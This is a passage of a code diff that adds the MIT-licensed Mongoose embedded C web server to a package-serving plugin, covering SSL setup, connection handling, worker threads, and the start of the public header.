  if (fd > (SOCKET) *max_fd) {
+
    *max_fd = (int) fd;
+
  }
+
}
+

+
#if !defined(_WIN32)
+
static int set_uid_option(struct mg_context *ctx) {
+
  struct passwd *pw;
+
  const char *uid = ctx->config[RUN_AS_USER];
+
  int success = 0;
+

+
  if (uid == NULL) {
+
    success = 1;
+
  } else {
+
    if ((pw = getpwnam(uid)) == NULL) {
+
      cry(fc(ctx), "%s: unknown user [%s]", __func__, uid);
+
    } else if (setgid(pw->pw_gid) == -1) {
+
      cry(fc(ctx), "%s: setgid(%s): %s", __func__, uid, strerror(errno));
+
    } else if (setuid(pw->pw_uid) == -1) {
+
      cry(fc(ctx), "%s: setuid(%s): %s", __func__, uid, strerror(errno));
+
    } else {
+
      success = 1;
+
    }
+
  }
+

+
  return success;
+
}
+
#endif // !_WIN32
+

+
#if !defined(NO_SSL)
+
static pthread_mutex_t *ssl_mutexes;
+

+
// Return OpenSSL error message
+
static const char *ssl_error(void) {
+
  unsigned long err;
+
  err = ERR_get_error();
+
  return err == 0 ? "" : ERR_error_string(err, NULL);
+
}
+

+
static void ssl_locking_callback(int mode, int mutex_num, const char *file,
+
                                 int line) {
+
  line = 0;    // Unused
+
  file = NULL; // Unused
+

+
  if (mode & CRYPTO_LOCK) {
+
    (void) pthread_mutex_lock(&ssl_mutexes[mutex_num]);
+
  } else {
+
    (void) pthread_mutex_unlock(&ssl_mutexes[mutex_num]);
+
  }
+
}
+

+
static unsigned long ssl_id_callback(void) {
+
  return (unsigned long) pthread_self();
+
}
+

+
#if !defined(NO_SSL_DL)
+
static int load_dll(struct mg_context *ctx, const char *dll_name,
+
                    struct ssl_func *sw) {
+
  union {void *p; void (*fp)(void);} u;
+
  void  *dll_handle;
+
  struct ssl_func *fp;
+

+
  if ((dll_handle = dlopen(dll_name, RTLD_LAZY)) == NULL) {
+
    cry(fc(ctx), "%s: cannot load %s", __func__, dll_name);
+
    return 0;
+
  }
+

+
  for (fp = sw; fp->name != NULL; fp++) {
+
#ifdef _WIN32
+
    // GetProcAddress() returns pointer to function
+
    u.fp = (void (*)(void)) dlsym(dll_handle, fp->name);
+
#else
+
    // dlsym() on UNIX returns void *. ISO C forbids casts of data pointers to
+
    // function pointers. We need to use a union to make a cast.
+
    u.p = dlsym(dll_handle, fp->name);
+
#endif // _WIN32
+
    if (u.fp == NULL) {
+
      cry(fc(ctx), "%s: %s: cannot find %s", __func__, dll_name, fp->name);
+
      return 0;
+
    } else {
+
      fp->ptr = u.fp;
+
    }
+
  }
+

+
  return 1;
+
}
+
#endif // NO_SSL_DL
+

+
// Dynamically load SSL library. Set up ctx->ssl_ctx pointer.
+
static int set_ssl_option(struct mg_context *ctx) {
+
  struct mg_request_info request_info;
+
  int i, size;
+
  const char *pem = ctx->config[SSL_CERTIFICATE];
+
  const char *chain = ctx->config[SSL_CHAIN_FILE];
+

+
#if !defined(NO_SSL_DL)
+
  if (!load_dll(ctx, SSL_LIB, ssl_sw) ||
+
      !load_dll(ctx, CRYPTO_LIB, crypto_sw)) {
+
    return 0;
+
  }
+
#endif // NO_SSL_DL
+

+
  // Initialize SSL crap
+
  SSL_library_init();
+
  SSL_load_error_strings();
+

+
  if ((ctx->client_ssl_ctx = SSL_CTX_new(SSLv23_client_method())) == NULL) {
+
    cry(fc(ctx), "SSL_CTX_new error: %s", ssl_error());
+
  }
+

+
  if ((ctx->ssl_ctx = SSL_CTX_new(SSLv23_server_method())) == NULL) {
+
    cry(fc(ctx), "SSL_CTX_new error: %s", ssl_error());
+
  } else if (ctx->user_callback != NULL) {
+
    memset(&request_info, 0, sizeof(request_info));
+
    request_info.user_data = ctx->user_data;
+
    ctx->user_callback(MG_INIT_SSL, (struct mg_connection *) ctx->ssl_ctx);
+
  }
+

+
  if (ctx->ssl_ctx != NULL && pem != NULL &&
+
      SSL_CTX_use_certificate_file(ctx->ssl_ctx, pem, SSL_FILETYPE_PEM) == 0) {
+
    cry(fc(ctx), "%s: cannot open %s: %s", __func__, pem, ssl_error());
+
    return 0;
+
  }
+
  if (ctx->ssl_ctx != NULL && pem != NULL &&
+
      SSL_CTX_use_PrivateKey_file(ctx->ssl_ctx, pem, SSL_FILETYPE_PEM) == 0) {
+
    cry(fc(ctx), "%s: cannot open %s: %s", __func__, pem, ssl_error());
+
    return 0;
+
  }
+
  if (ctx->ssl_ctx != NULL && chain != NULL &&
+
      SSL_CTX_use_certificate_chain_file(ctx->ssl_ctx, chain) == 0) {
+
    cry(fc(ctx), "%s: cannot open %s: %s", __func__, chain, ssl_error());
+
    return 0;
+
  }
+

+
  // Initialize locking callbacks, needed for thread safety.
+
  // http://www.openssl.org/support/faq.html#PROG1
+
  size = sizeof(pthread_mutex_t) * CRYPTO_num_locks();
+
  if ((ssl_mutexes = (pthread_mutex_t *) malloc((size_t)size)) == NULL) {
+
    cry(fc(ctx), "%s: cannot allocate mutexes: %s", __func__, ssl_error());
+
    return 0;
+
  }
+

+
  for (i = 0; i < CRYPTO_num_locks(); i++) {
+
    pthread_mutex_init(&ssl_mutexes[i], NULL);
+
  }
+

+
  CRYPTO_set_locking_callback(&ssl_locking_callback);
+
  CRYPTO_set_id_callback(&ssl_id_callback);
+

+
  return 1;
+
}
+

+
static void uninitialize_ssl(struct mg_context *ctx) {
+
  int i;
+
  if (ctx->ssl_ctx != NULL) {
+
    CRYPTO_set_locking_callback(NULL);
+
    for (i = 0; i < CRYPTO_num_locks(); i++) {
+
      pthread_mutex_destroy(&ssl_mutexes[i]);
+
    }
+
    CRYPTO_set_locking_callback(NULL);
+
    CRYPTO_set_id_callback(NULL);
+
  }
+
}
+
#endif // !NO_SSL
+

+
static int set_gpass_option(struct mg_context *ctx) {
+
  struct mgstat mgstat;
+
  const char *path = ctx->config[GLOBAL_PASSWORDS_FILE];
+
  return path == NULL || mg_stat(path, &mgstat) == 0;
+
}
+

+
static int set_acl_option(struct mg_context *ctx) {
+
  union usa fake;
+
  return check_acl(ctx, &fake) != -1;
+
}
+

+
static void reset_per_request_attributes(struct mg_connection *conn) {
+
  conn->path_info = conn->body = conn->next_request = NULL;
+
  conn->num_bytes_sent = conn->consumed_content = 0;
+
  conn->content_len = -1;
+
  conn->request_len = conn->data_len = 0;
+
  conn->must_close = 0;
+
}
+

+
static void close_socket_gracefully(struct mg_connection *conn) {
+
  char buf[MG_BUF_LEN];
+
  struct linger linger;
+
  int n, sock = conn->client.sock;
+

+
  // Set linger option to avoid socket hanging out after close. This prevent
+
  // ephemeral port exhaust problem under high QPS.
+
  linger.l_onoff = 1;
+
  linger.l_linger = 1;
+
  setsockopt(sock, SOL_SOCKET, SO_LINGER, (void *) &linger, sizeof(linger));
+

+
  // Send FIN to the client
+
  (void) shutdown(sock, SHUT_WR);
+
  set_non_blocking_mode(sock);
+

+
  // Read and discard pending incoming data. If we do not do that and close the
+
  // socket, the data in the send buffer may be discarded. This
+
  // behaviour is seen on Windows, when client keeps sending data
+
  // when server decides to close the connection; then when client
+
  // does recv() it gets no data back.
+
  do {
+
    n = pull(NULL, conn, buf, sizeof(buf));
+
  } while (n > 0);
+

+
  // Now we know that our FIN is ACK-ed, safe to close
+
  (void) closesocket(sock);
+
}
+

+
static void close_connection(struct mg_connection *conn) {
+
  if (conn->ssl) {
+
    SSL_free(conn->ssl);
+
    conn->ssl = NULL;
+
  }
+

+
  if (conn->client.sock != INVALID_SOCKET) {
+
    close_socket_gracefully(conn);
+
  }
+
}
+

+
void mg_close_connection(struct mg_connection *conn) {
+
  close_connection(conn);
+
  free(conn);
+
}
+

+
struct mg_connection *mg_connect(struct mg_context *ctx,
+
                                 const char *host, int port, int use_ssl) {
+
  struct mg_connection *newconn = NULL;
+
  struct sockaddr_in sin;
+
  struct hostent *he;
+
  int sock;
+

+
  if (ctx->client_ssl_ctx == NULL && use_ssl) {
+
    cry(fc(ctx), "%s: SSL is not initialized", __func__);
+
  } else if ((he = gethostbyname(host)) == NULL) {
+
    cry(fc(ctx), "%s: gethostbyname(%s): %s", __func__, host, strerror(ERRNO));
+
  } else if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
+
    cry(fc(ctx), "%s: socket: %s", __func__, strerror(ERRNO));
+
  } else {
+
    sin.sin_family = AF_INET;
+
    sin.sin_port = htons((uint16_t) port);
+
    sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
+
    if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) != 0) {
+
      cry(fc(ctx), "%s: connect(%s:%d): %s", __func__, host, port,
+
          strerror(ERRNO));
+
      closesocket(sock);
+
    } else if ((newconn = (struct mg_connection *)
+
                calloc(1, sizeof(*newconn))) == NULL) {
+
      cry(fc(ctx), "%s: calloc: %s", __func__, strerror(ERRNO));
+
      closesocket(sock);
+
    } else {
+
      newconn->ctx = ctx;
+
      newconn->client.sock = sock;
+
      newconn->client.rsa.sin = sin;
+
      newconn->client.is_ssl = use_ssl;
+
      if (use_ssl) {
+
        sslize(newconn, ctx->client_ssl_ctx, SSL_connect);
+
      }
+
    }
+
  }
+

+
  return newconn;
+
}
+

+
FILE *mg_fetch(struct mg_context *ctx, const char *url, const char *path,
+
               char *buf, size_t buf_len, struct mg_request_info *ri) {
+
  struct mg_connection *newconn;
+
  int n, req_length, data_length, port;
+
  char host[1025], proto[10], buf2[MG_BUF_LEN];
+
  FILE *fp = NULL;
+

+
  if (sscanf(url, "%9[htps]://%1024[^:]:%d/%n", proto, host, &port, &n) == 3) {
+
  } else if (sscanf(url, "%9[htps]://%1024[^/]/%n", proto, host, &n) == 2) {
+
    port = mg_strcasecmp(proto, "https") == 0 ? 443 : 80;
+
  } else {
+
    cry(fc(ctx), "%s: invalid URL: [%s]", __func__, url);
+
    return NULL;
+
  }
+

+
  if ((newconn = mg_connect(ctx, host, port,
+
                            !strcmp(proto, "https"))) == NULL) {
+
    cry(fc(ctx), "%s: mg_connect(%s): %s", __func__, url, strerror(ERRNO));
+
  } else {
+
    mg_printf(newconn, "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n", url + n, host);
+
    data_length = 0;
+
    req_length = read_request(NULL, newconn, buf, buf_len, &data_length);
+
    if (req_length <= 0) {
+
      cry(fc(ctx), "%s(%s): invalid HTTP reply", __func__, url);
+
    } else if (parse_http_response(buf, req_length, ri) <= 0) {
+
      cry(fc(ctx), "%s(%s): cannot parse HTTP headers", __func__, url);
+
    } else if ((fp = fopen(path, "w+b")) == NULL) {
+
      cry(fc(ctx), "%s: fopen(%s): %s", __func__, path, strerror(ERRNO));
+
    } else {
+
      // Write chunk of data that may be in the user's buffer
+
      data_length -= req_length;
+
      if (data_length > 0 &&
+
        fwrite(buf + req_length, 1, data_length, fp) != (size_t) data_length) {
+
        cry(fc(ctx), "%s: fwrite(%s): %s", __func__, path, strerror(ERRNO));
+
        fclose(fp);
+
        fp = NULL;
+
      }
+
      // Read the rest of the response and write it to the file. Do not use
+
      // mg_read() cause we didn't set newconn->content_len properly.
+
      while (fp && (data_length = pull(0, newconn, buf2, sizeof(buf2))) > 0) {
+
        if (fwrite(buf2, 1, data_length, fp) != (size_t) data_length) {
+
          cry(fc(ctx), "%s: fwrite(%s): %s", __func__, path, strerror(ERRNO));
+
          fclose(fp);
+
          fp = NULL;
+
          break;
+
        }
+
      }
+
    }
+
    mg_close_connection(newconn);
+
  }
+

+
  return fp;
+
}
+

+
static int is_valid_uri(const char *uri) {
+
  // Conform to http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html#sec5.1.2
+
  // URI can be an asterisk (*) or should start with slash.
+
  return uri[0] == '/' || (uri[0] == '*' && uri[1] == '\0');
+
}
+

+
static void process_new_connection(struct mg_connection *conn) {
+
  struct mg_request_info *ri = &conn->request_info;
+
  int keep_alive_enabled, buffered_len;
+
  const char *cl;
+

+
  keep_alive_enabled = !strcmp(conn->ctx->config[ENABLE_KEEP_ALIVE], "yes");
+

+
  do {
+
    reset_per_request_attributes(conn);
+
    conn->request_len = read_request(NULL, conn, conn->buf, conn->buf_size,
+
                                     &conn->data_len);
+
    assert(conn->request_len < 0 || conn->data_len >= conn->request_len);
+
    if (conn->request_len == 0 && conn->data_len == conn->buf_size) {
+
      send_http_error(conn, 413, "Request Too Large", "%s", "");
+
      return;
+
    } if (conn->request_len <= 0) {
+
      return;  // Remote end closed the connection
+
    }
+
    conn->body = conn->next_request = conn->buf + conn->request_len;
+

+
    if (parse_http_request(conn->buf, conn->buf_size, ri) <= 0 ||
+
        !is_valid_uri(ri->uri)) {
+
      // Do not put garbage in the access log, just send it back to the client
+
      send_http_error(conn, 400, "Bad Request",
+
          "Cannot parse HTTP request: [%.*s]", conn->data_len, conn->buf);
+
      conn->must_close = 1;
+
    } else if (strcmp(ri->http_version, "1.0") &&
+
               strcmp(ri->http_version, "1.1")) {
+
      // Request seems valid, but HTTP version is strange
+
      send_http_error(conn, 505, "HTTP version not supported", "%s", "");
+
      log_access(conn);
+
    } else {
+
      // Request is valid, handle it
+
      cl = get_header(ri, "Content-Length");
+
      conn->content_len = cl == NULL ? -1 : strtoll(cl, NULL, 10);
+

+
      // Set pointer to the next buffered request
+
      buffered_len = conn->data_len - conn->request_len;
+
      assert(buffered_len >= 0);
+
      if (conn->content_len <= 0) {
+
      } else if (conn->content_len < (int64_t) buffered_len) {
+
        conn->next_request += conn->content_len;
+
      } else {
+
        conn->next_request += buffered_len;
+
      }
+

+
      conn->birth_time = time(NULL);
+
      handle_request(conn);
+
      call_user(conn, MG_REQUEST_COMPLETE);
+
      log_access(conn);
+
    }
+
    if (ri->remote_user != NULL) {
+
      free((void *) ri->remote_user);
+
    }
+

+
    // Discard all buffered data for this request
+
    assert(conn->next_request >= conn->buf);
+
    assert(conn->data_len >= conn->next_request - conn->buf);
+
    conn->data_len -= conn->next_request - conn->buf;
+
    memmove(conn->buf, conn->next_request, (size_t) conn->data_len);
+
  } while (conn->ctx->stop_flag == 0 &&
+
           keep_alive_enabled &&
+
           should_keep_alive(conn));
+
}
+

+
// Worker threads take accepted socket from the queue
+
static int consume_socket(struct mg_context *ctx, struct socket *sp) {
+
  (void) pthread_mutex_lock(&ctx->mutex);
+
  DEBUG_TRACE(("going idle"));
+

+
  // If the queue is empty, wait. We're idle at this point.
+
  while (ctx->sq_head == ctx->sq_tail && ctx->stop_flag == 0) {
+
    pthread_cond_wait(&ctx->sq_full, &ctx->mutex);
+
  }
+

+
  // If we're stopping, sq_head may be equal to sq_tail.
+
  if (ctx->sq_head > ctx->sq_tail) {
+
    // Copy socket from the queue and increment tail
+
    *sp = ctx->queue[ctx->sq_tail % ARRAY_SIZE(ctx->queue)];
+
    ctx->sq_tail++;
+
    DEBUG_TRACE(("grabbed socket %d, going busy", sp->sock));
+

+
    // Wrap pointers if needed
+
    while (ctx->sq_tail > (int) ARRAY_SIZE(ctx->queue)) {
+
      ctx->sq_tail -= ARRAY_SIZE(ctx->queue);
+
      ctx->sq_head -= ARRAY_SIZE(ctx->queue);
+
    }
+
  }
+

+
  (void) pthread_cond_signal(&ctx->sq_empty);
+
  (void) pthread_mutex_unlock(&ctx->mutex);
+

+
  return !ctx->stop_flag;
+
}
+

+
static void worker_thread(struct mg_context *ctx) {
+
  struct mg_connection *conn;
+
  int buf_size = atoi(ctx->config[MAX_REQUEST_SIZE]);
+

+
  conn = (struct mg_connection *) calloc(1, sizeof(*conn) + buf_size);
+
  if (conn == NULL) {
+
    cry(fc(ctx), "%s", "Cannot create new connection struct, OOM");
+
  } else {
+
    conn->buf_size = buf_size;
+
    conn->buf = (char *) (conn + 1);
+

+
    // Call consume_socket() even when ctx->stop_flag > 0, to let it signal
+
    // sq_empty condvar to wake up the master waiting in produce_socket()
+
    while (consume_socket(ctx, &conn->client)) {
+
      conn->birth_time = time(NULL);
+
      conn->ctx = ctx;
+

+
      // Fill in IP, port info early so even if SSL setup below fails,
+
      // error handler would have the corresponding info.
+
      // Thanks to Johannes Winkelmann for the patch.
+
      // TODO(lsm): Fix IPv6 case
+
      conn->request_info.remote_port = ntohs(conn->client.rsa.sin.sin_port);
+
      memcpy(&conn->request_info.remote_ip,
+
             &conn->client.rsa.sin.sin_addr.s_addr, 4);
+
      conn->request_info.remote_ip = ntohl(conn->request_info.remote_ip);
+
      conn->request_info.is_ssl = conn->client.is_ssl;
+

+
      if (!conn->client.is_ssl ||
+
          (conn->client.is_ssl &&
+
           sslize(conn, conn->ctx->ssl_ctx, SSL_accept))) {
+
        process_new_connection(conn);
+
      }
+

+
      close_connection(conn);
+
    }
+
    free(conn);
+
  }
+

+
  // Signal master that we're done with connection and exiting
+
  (void) pthread_mutex_lock(&ctx->mutex);
+
  ctx->num_threads--;
+
  (void) pthread_cond_signal(&ctx->cond);
+
  assert(ctx->num_threads >= 0);
+
  (void) pthread_mutex_unlock(&ctx->mutex);
+

+
  DEBUG_TRACE(("exiting"));
+
}
+

+
// Master thread adds accepted socket to a queue
+
static void produce_socket(struct mg_context *ctx, const struct socket *sp) {
+
  (void) pthread_mutex_lock(&ctx->mutex);
+

+
  // If the queue is full, wait
+
  while (ctx->stop_flag == 0 &&
+
         ctx->sq_head - ctx->sq_tail >= (int) ARRAY_SIZE(ctx->queue)) {
+
    (void) pthread_cond_wait(&ctx->sq_empty, &ctx->mutex);
+
  }
+

+
  if (ctx->sq_head - ctx->sq_tail < (int) ARRAY_SIZE(ctx->queue)) {
+
    // Copy socket to the queue and increment head
+
    ctx->queue[ctx->sq_head % ARRAY_SIZE(ctx->queue)] = *sp;
+
    ctx->sq_head++;
+
    DEBUG_TRACE(("queued socket %d", sp->sock));
+
  }
+

+
  (void) pthread_cond_signal(&ctx->sq_full);
+
  (void) pthread_mutex_unlock(&ctx->mutex);
+
}
+

+
static void accept_new_connection(const struct socket *listener,
+
                                  struct mg_context *ctx) {
+
  struct socket accepted;
+
  char src_addr[20];
+
  socklen_t len;
+
  int allowed;
+

+
  len = sizeof(accepted.rsa);
+
  accepted.lsa = listener->lsa;
+
  accepted.sock = accept(listener->sock, &accepted.rsa.sa, &len);
+
  if (accepted.sock != INVALID_SOCKET) {
+
    allowed = check_acl(ctx, &accepted.rsa);
+
    if (allowed) {
+
      // Put accepted socket structure into the queue
+
      DEBUG_TRACE(("accepted socket %d", accepted.sock));
+
      accepted.is_ssl = listener->is_ssl;
+
      produce_socket(ctx, &accepted);
+
    } else {
+
      sockaddr_to_string(src_addr, sizeof(src_addr), &accepted.rsa);
+
      cry(fc(ctx), "%s: %s is not allowed to connect", __func__, src_addr);
+
      (void) closesocket(accepted.sock);
+
    }
+
  }
+
}
+

+
static void master_thread(struct mg_context *ctx) {
+
  fd_set read_set;
+
  struct timeval tv;
+
  struct socket *sp;
+
  int max_fd;
+

+
  // Increase priority of the master thread
+
#if defined(_WIN32)
+
  SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_ABOVE_NORMAL);
+
#endif
+

+
#if defined(ISSUE_317)
+
  struct sched_param sched_param;
+
  sched_param.sched_priority = sched_get_priority_max(SCHED_RR);
+
  pthread_setschedparam(pthread_self(), SCHED_RR, &sched_param);
+
#endif
+

+
  while (ctx->stop_flag == 0) {
+
    FD_ZERO(&read_set);
+
    max_fd = -1;
+

+
    // Add listening sockets to the read set
+
    for (sp = ctx->listening_sockets; sp != NULL; sp = sp->next) {
+
      add_to_set(sp->sock, &read_set, &max_fd);
+
    }
+

+
    tv.tv_sec = 0;
+
    tv.tv_usec = 200 * 1000;
+

+
    if (select(max_fd + 1, &read_set, NULL, NULL, &tv) < 0) {
+
#ifdef _WIN32
+
      // On windows, if read_set and write_set are empty,
+
      // select() returns "Invalid parameter" error
+
      // (at least on my Windows XP Pro). So in this case, we sleep here.
+
      mg_sleep(1000);
+
#endif // _WIN32
+
    } else {
+
      for (sp = ctx->listening_sockets; sp != NULL; sp = sp->next) {
+
        if (ctx->stop_flag == 0 && FD_ISSET(sp->sock, &read_set)) {
+
          accept_new_connection(sp, ctx);
+
        }
+
      }
+
    }
+
  }
+
  DEBUG_TRACE(("stopping workers"));
+

+
  // Stop signal received: somebody called mg_stop. Quit.
+
  close_all_listening_sockets(ctx);
+

+
  // Wakeup workers that are waiting for connections to handle.
+
  pthread_cond_broadcast(&ctx->sq_full);
+

+
  // Wait until all threads finish
+
  (void) pthread_mutex_lock(&ctx->mutex);
+
  while (ctx->num_threads > 0) {
+
    (void) pthread_cond_wait(&ctx->cond, &ctx->mutex);
+
  }
+
  (void) pthread_mutex_unlock(&ctx->mutex);
+

+
  // All threads exited, no sync is needed. Destroy mutex and condvars
+
  (void) pthread_mutex_destroy(&ctx->mutex);
+
  (void) pthread_cond_destroy(&ctx->cond);
+
  (void) pthread_cond_destroy(&ctx->sq_empty);
+
  (void) pthread_cond_destroy(&ctx->sq_full);
+

+
#if !defined(NO_SSL)
+
  uninitialize_ssl(ctx);
+
#endif
+
  DEBUG_TRACE(("exiting"));
+

+
  // Signal mg_stop() that we're done.
+
  // WARNING: This must be the very last thing this
+
  // thread does, as ctx becomes invalid after this line.
+
  ctx->stop_flag = 2;
+
}
+

+
static void free_context(struct mg_context *ctx) {
+
  int i;
+

+
  // Deallocate config parameters
+
  for (i = 0; i < NUM_OPTIONS; i++) {
+
    if (ctx->config[i] != NULL)
+
      free(ctx->config[i]);
+
  }
+

+
  // Deallocate SSL context
+
  if (ctx->ssl_ctx != NULL) {
+
    SSL_CTX_free(ctx->ssl_ctx);
+
  }
+
  if (ctx->client_ssl_ctx != NULL) {
+
    SSL_CTX_free(ctx->client_ssl_ctx);
+
  }
+
#ifndef NO_SSL
+
  if (ssl_mutexes != NULL) {
+
    free(ssl_mutexes);
+
  }
+
#endif // !NO_SSL
+

+
  // Deallocate context itself
+
  free(ctx);
+
}
+

+
void mg_stop(struct mg_context *ctx) {
+
  ctx->stop_flag = 1;
+

+
  // Wait until mg_fini() stops
+
  while (ctx->stop_flag != 2) {
+
    (void) mg_sleep(10);
+
  }
+
  free_context(ctx);
+

+
#if defined(_WIN32) && !defined(__SYMBIAN32__)
+
  (void) WSACleanup();
+
#endif // _WIN32
+
}
+

+
struct mg_context *mg_start(mg_callback_t user_callback, void *user_data,
+
                            const char **options) {
+
  struct mg_context *ctx;
+
  const char *name, *value, *default_value;
+
  int i;
+

+
#if defined(_WIN32) && !defined(__SYMBIAN32__)
+
  WSADATA data;
+
  WSAStartup(MAKEWORD(2,2), &data);
+
  InitializeCriticalSection(&global_log_file_lock);
+
#endif // _WIN32
+

+
  // Allocate context and initialize reasonable general case defaults.
+
  // TODO(lsm): do proper error handling here.
+
  if ((ctx = (struct mg_context *) calloc(1, sizeof(*ctx))) == NULL) {
+
    return NULL;
+
  }
+
  ctx->user_callback = user_callback;
+
  ctx->user_data = user_data;
+

+
  while (options && (name = *options++) != NULL) {
+
    if ((i = get_option_index(name)) == -1) {
+
      cry(fc(ctx), "Invalid option: %s", name);
+
      free_context(ctx);
+
      return NULL;
+
    } else if ((value = *options++) == NULL) {
+
      cry(fc(ctx), "%s: option value cannot be NULL", name);
+
      free_context(ctx);
+
      return NULL;
+
    }
+
    if (ctx->config[i] != NULL) {
+
      cry(fc(ctx), "warning: %s: duplicate option", name);
+
    }
+
    ctx->config[i] = mg_strdup(value);
+
    DEBUG_TRACE(("[%s] -> [%s]", name, value));
+
  }
+

+
  // Set default value if needed
+
  for (i = 0; config_options[i * ENTRIES_PER_CONFIG_OPTION] != NULL; i++) {
+
    default_value = config_options[i * ENTRIES_PER_CONFIG_OPTION + 2];
+
    if (ctx->config[i] == NULL && default_value != NULL) {
+
      ctx->config[i] = mg_strdup(default_value);
+
      DEBUG_TRACE(("Setting default: [%s] -> [%s]",
+
                   config_options[i * ENTRIES_PER_CONFIG_OPTION + 1],
+
                   default_value));
+
    }
+
  }
+

+
  // NOTE(lsm): order is important here. SSL certificates must
+
  // be initialized before listening ports. UID must be set last.
+
  if (!set_gpass_option(ctx) ||
+
#if !defined(NO_SSL)
+
      !set_ssl_option(ctx) ||
+
#endif
+
      !set_ports_option(ctx) ||
+
#if !defined(_WIN32)
+
      !set_uid_option(ctx) ||
+
#endif
+
      !set_acl_option(ctx)) {
+
    free_context(ctx);
+
    return NULL;
+
  }
+

+
#if !defined(_WIN32) && !defined(__SYMBIAN32__)
+
  // Ignore SIGPIPE signal, so if browser cancels the request, it
+
  // won't kill the whole process.
+
  (void) signal(SIGPIPE, SIG_IGN);
+
  // Also ignoring SIGCHLD to let the OS to reap zombies properly.
+
  (void) signal(SIGCHLD, SIG_IGN);
+
#endif // !_WIN32
+

+
  (void) pthread_mutex_init(&ctx->mutex, NULL);
+
  (void) pthread_cond_init(&ctx->cond, NULL);
+
  (void) pthread_cond_init(&ctx->sq_empty, NULL);
+
  (void) pthread_cond_init(&ctx->sq_full, NULL);
+

+
  // Start master (listening) thread
+
  mg_start_thread((mg_thread_func_t) master_thread, ctx);
+

+
  // Start worker threads
+
  for (i = 0; i < atoi(ctx->config[NUM_THREADS]); i++) {
+
    if (mg_start_thread((mg_thread_func_t) worker_thread, ctx) != 0) {
+
      cry(fc(ctx), "Cannot start worker thread: %d", ERRNO);
+
    } else {
+
      ctx->num_threads++;
+
    }
+
  }
+

+
  return ctx;
+
}
added plugins/pkg-plugins-serve/mongoose/mongoose.h
@@ -0,0 +1,301 @@
+
// Copyright (c) 2004-2012 Sergey Lyubka
+
//
+
// Permission is hereby granted, free of charge, to any person obtaining a copy
+
// of this software and associated documentation files (the "Software"), to deal
+
// in the Software without restriction, including without limitation the rights
+
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+
// copies of the Software, and to permit persons to whom the Software is
+
// furnished to do so, subject to the following conditions:
+
//
+
// The above copyright notice and this permission notice shall be included in
+
// all copies or substantial portions of the Software.
+
//
+
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+
// THE SOFTWARE.
+

+
#ifndef MONGOOSE_HEADER_INCLUDED
+
#define  MONGOOSE_HEADER_INCLUDED
+

+
#include <stdio.h>
+
#include <stddef.h>
+

+
#ifdef __cplusplus
+
extern "C" {
+
#endif // __cplusplus
+

+
struct mg_context;     // Handle for the HTTP service itself
+
struct mg_connection;  // Handle for the individual connection
+

+

+
// This structure contains information about the HTTP request.
+
struct mg_request_info {
+
  void *user_data;       // User-defined pointer passed to mg_start()
+
  char *request_method;  // "GET", "POST", etc
+
  char *uri;             // URL-decoded URI
+
  char *http_version;    // E.g. "1.0", "1.1"
+
  char *query_string;    // URL part after '?' (not including '?') or NULL
+
  char *remote_user;     // Authenticated user, or NULL if no auth used
+
  char *log_message;     // Mongoose error log message, MG_EVENT_LOG only
+
  long remote_ip;        // Client's IP address
+
  int remote_port;       // Client's port
+
  int status_code;       // HTTP reply status code, e.g. 200
+
  int is_ssl;            // 1 if SSL-ed, 0 if not
+
  int num_headers;       // Number of headers
+
  struct mg_header {
+
    char *name;          // HTTP header name
+
    char *value;         // HTTP header value
+
  } http_headers[64];    // Maximum 64 headers
+
};
+

+
// Various events on which user-defined function is called by Mongoose.
+
enum mg_event {
+
  MG_NEW_REQUEST,       // New HTTP request has arrived from the client
+
  MG_REQUEST_COMPLETE,  // Mongoose has finished handling the request
+
  MG_HTTP_ERROR,        // HTTP error must be returned to the client
+
  MG_EVENT_LOG,         // Mongoose logs an event, request_info.log_message
+
  MG_INIT_SSL           // Mongoose initializes SSL. Instead of mg_connection *,
+
                        // SSL context is passed to the callback function.
+
};
+

+
// Prototype for the user-defined function. Mongoose calls this function
+
// on every MG_* event.
+
//
+
// Parameters:
+
//   event: which event has been triggered.
+
//   conn: opaque connection handler. Could be used to read, write data to the
+
//         client, etc. See functions below that have "mg_connection *" arg.
+
//
+
// Return:
+
//   If handler returns non-NULL, that means that handler has processed the
+
//   request by sending appropriate HTTP reply to the client. Mongoose treats
+
//   the request as served.
+
//   If handler returns NULL, that means that handler has not processed
+
//   the request. Handler must not send any data to the client in this case.
+
//   Mongoose proceeds with request handling as if nothing happened.
+
typedef void * (*mg_callback_t)(enum mg_event event,
+
                                struct mg_connection *conn);
+

+

+
// Start web server.
+
//
+
// Parameters:
+
//   callback: user defined event handling function or NULL.
+
//   options: NULL terminated list of option_name, option_value pairs that
+
//            specify Mongoose configuration parameters.
+
//
+
// Side-effects: on UNIX, ignores SIGCHLD and SIGPIPE signals. If custom
+
//    processing is required for these, signal handlers must be set up
+
//    after calling mg_start().
+
//
+
//
+
// Example:
+
//   const char *options[] = {
+
//     "document_root", "/var/www",
+
//     "listening_ports", "80,443s",
+
//     NULL
+
//   };
+
//   struct mg_context *ctx = mg_start(&my_func, NULL, options);
+
//
+
// Please refer to http://code.google.com/p/mongoose/wiki/MongooseManual
+
// for the list of valid option and their possible values.
+
//
+
// Return:
+
//   web server context, or NULL on error.
+
struct mg_context *mg_start(mg_callback_t callback, void *user_data,
+
                            const char **options);
+

+

+
// Stop the web server.
+
//
+
// Must be called last, when an application wants to stop the web server and
+
// release all associated resources. This function blocks until all Mongoose
+
// threads are stopped. Context pointer becomes invalid.
+
void mg_stop(struct mg_context *);
+

+

+
// Get the value of particular configuration parameter.
+
// The value returned is read-only. Mongoose does not allow changing
+
// configuration at run time.
+
// If given parameter name is not valid, NULL is returned. For valid
+
